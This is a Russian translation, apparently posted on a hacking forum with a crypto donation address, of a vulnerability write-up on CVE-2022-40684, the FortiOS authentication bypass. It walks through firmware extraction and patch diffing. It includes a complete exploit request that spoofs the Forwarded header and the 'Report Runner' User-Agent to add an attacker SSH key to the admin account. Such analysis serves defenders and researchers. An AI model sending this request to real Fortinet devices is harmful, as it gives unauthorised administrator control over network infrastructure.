ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Введение
Fortinet недавно исправила критическую уязвимость обхода аутентификации в своих проектах FortiOS, FortiProxy и FortiSwitchManager (CVE-2022-40684). Эта уязвимость дает злоумышленнику возможность войти в систему в качестве администратора в уязвимой системе. Чтобы продемонстрировать уязвимость в этой статье, мы будем использовать FortiOS версии 7.2.1.
РОС
Давайте рассмотрим внутреннюю работу этой уязвимости. Вы можете найти POC здесь . Уязвимость используется при добавления ключа SSH к пользователю-администратору, что позволяет злоумышленнику войти в уязвимую систему по SSH в качестве администратора.
Код:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= "[127.0.0.1]:9000"; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\”” }Глубокое погружение
FortiOS предоставляет веб-портал управления, который позволяет пользователю настраивать систему. Кроме того, пользователь может войти в систему по протоколу SSH, который предоставляет заблокированный интерфейс CLI. Нашим первым шагом после знакомства с системой было сравнение уязвимой прошивки с пропатченной прошивкой.
Проверка прошивки
Мы получили ZIP-файл прошивки VMware, который содержал два файла vmdk. Сначала мы проверили файлы vmdk с помощью virt-filesystems и смонтировал их с guestmount:
Код:
$>ls *.vmdk
datadrive.vmdk fortios.vmdk
$> sudo virt-filesystems --filesystems -a fortios.vmdk
/dev/sda1
$> sudo mkdir fortios_mount
$> sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro fortios_mount
$>cd fortios_mount
$> лс
boot.msg datafs.tar.gz extlinux.conf filechecksum flatkc flatkc.chk ldlinux.c32 ldlinux.sys потерянный + найденный rootfs.gz rootfs.gz.chkЗатем мы извлекаем корневую файловую систему, где находим кучу файлов .tar.xz:
Код:
$>sudo cp ../fortios_mount/rootfs.gz .
$>gunzip rootfs.gz
$>cpio -i 2> /dev/null < rootfs
$>ls
bin.tar.xz bin.tar.xz.chk boot data data2 dev etc fortidev init lib lib64 migadmin.tar.xz node-scripts.tar.xz proc rootfs sbin sys tmp usr usr.tar.xz usr.tar.xz.chk varИнтересно, что при попытке распаковать файлы xz возникают ошибки:
Код:
$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corruptНеясно, попытка ли это обфускации, но мы находим версию xz в папке sbin прошивки. Мы не можем запустить его как есть, но мы можем исправить его компоновщик, чтобы он указывал на наш системный компоновщик, чтобы окончательно распаковать файлы:
Код:
$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt
$>find . -name xz
./sbin/xz
$>./sbin/xz --decompress *.xz
bash: ./sbin/xz: No such file or directory
$>file ./sbin/xz
./sbin/xz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /fortidev/lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eef5d20a9f8760df951ed122a5faf4de86a7128a, for GNU/Linux 3.2.0, stripped
$>patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz
$>./sbin/xz --decompress *.xz
$>ls *.tar
bin.tar migadmin.tar node-scripts.tar usr.tarДалее мы распаковываем файлы и начинаем изучать их содержимое. Там видим /bin, который содержит большую коллекцию двоичных файлов, многие из которых являются символическими ссылками на /bin/init. migadmin по-видимому, содержит внешний веб-код для административного интерфейса. node-scripts по-видимому, содержит бэкэнд NodeJs для административного интерфейса. usr содержит папку libaries и apache2 конфигурации.
Патч
Мы применяем те же шаги к версии прошивки 7.2.2, чтобы включить различие файловых систем. В bin находим измененный init и в node-scripts видим что index.js файл изменился:
Эта разница показывает, что httpsd обработчик прокси явно устанавливает forwarded, x-forwarded-vdom, а также x-forwarded-cert заголовки. Это дает нам подсказку, с чего начать поиск подсказок о том, как использовать эту уязвимость.
HTTPSD и обработчики Apache
После некоторого поиска мы обнаруживаем, что двоичный файл инициализации, о котором мы упоминали ранее, содержит несколько строк, совпадающих с заголовками в файле diff. Этот двоичный файл инициализации довольно большой и, по-видимому, имеет множество функций, включая перехватчики и обработчики Apache для различных конечных точек управления REST API. Чтобы помочь в нашем исследовании, мы подключились к системе по SSH и включили отладочный вывод для httpsd процесса:
Код:
fortios_7_2_1 # diagnose debug enable
fortios_7_2_1 # diagnose debug application httpsd -1
Debug messages will be on for 5 minutes.
fortios_7_2_1 # diagnose debug cli 8
Debug messages will be on for 5 minutes.Во время расследования заголовок forwarded , мы находим apache access_check_eх, который анализирует заголовок, извлекает for а также by поля и прикрепляет их к Apache request_rec структуре. Вы можете видеть, что for поле позволяет установить client_ip при подключении записи запроса.
Кроме того, мы видим сообщение журнала, в котором упоминается, какой обработчик используется для конкретного запроса.
Код:
5412044 info] fweb_debug_init[412] -- Handler "api_cmdb_v2-handler" assigned to requestПосле поиска строки обработчика мы находим массив обработчиков в бинарном файле инициализации:
Изучив некоторые обработчики, мы обнаружили, что многие из них вызывают функцию, которую мы назвали api_check_access:
Нас сразу привлекло api_check_access_for_trusted_source который сначала проверяет, является ли параметр сокета vdom доверенным, но затем переходит к функции, которую мы вызвали. is_trusted_ip_and_user_agent.
Вы можете видеть, что эта функция проверяет, что client_ip"127.0.01" и что User-Agent соответствует второму параметру. Эта функция вызывается с двумя возможными параметрами: «Node.js» и «Report Runner». Путь «Node.js», кажется, выполняет некоторую дополнительную проверку, но использование «Report Runner» позволяет нам обходить аутентификацию и выполнять запросы API!
Вооружение
Возможность сделать неаутентифицированный запрос к REST API чрезвычайно эффективна. Однако мы заметили, что не можем добавить или изменить пароль для администратора. Чтобы обойти это, мы обновили SSH-ключи пользователей-администраторов, чтобы мы могли подключаться к цели по SSH в качестве администратора. Смотрите наше оригинальное объявление. Резюме
В заключение приведем обзор необходимых условий запроса на эксплуатацию этой уязвимости:- С помощью заголовка Fowarded злоумышленник может установить client_ip на «127.0.0.1».
- Проверка аутентификации «доверенный доступ» подтверждает, что client_ip «127.0.0.1», а User-Agent является «Report Runner», оба из которых находятся под контролем злоумышленника.
Любые HTTP-запросы к интерфейсу управления системы, соответствующие указанным выше условиям, должны вызывать беспокойство. Злоумышленник может использовать эту уязвимость, чтобы делать с уязвимой системой практически все, что захочет. Это включает в себя изменение конфигурации сети, добавление новых пользователей и инициацию перехвата пакетов. Обратите внимание, что это не единственный способ использовать эту уязвимость, и могут быть и другие рабочие условия. Например, модифицированная версия этого эксплойта использует User-Agent«Node.js». Этот эксплойт, похоже, следует тенденции среди недавно обнаруженных уязвимостей корпоративного программного обеспечения, когда заголовки HTTP неправильно проверяются или им оказано чрезмерное доверие. Мы видели это в недавних F5 и VMware. уязвимостях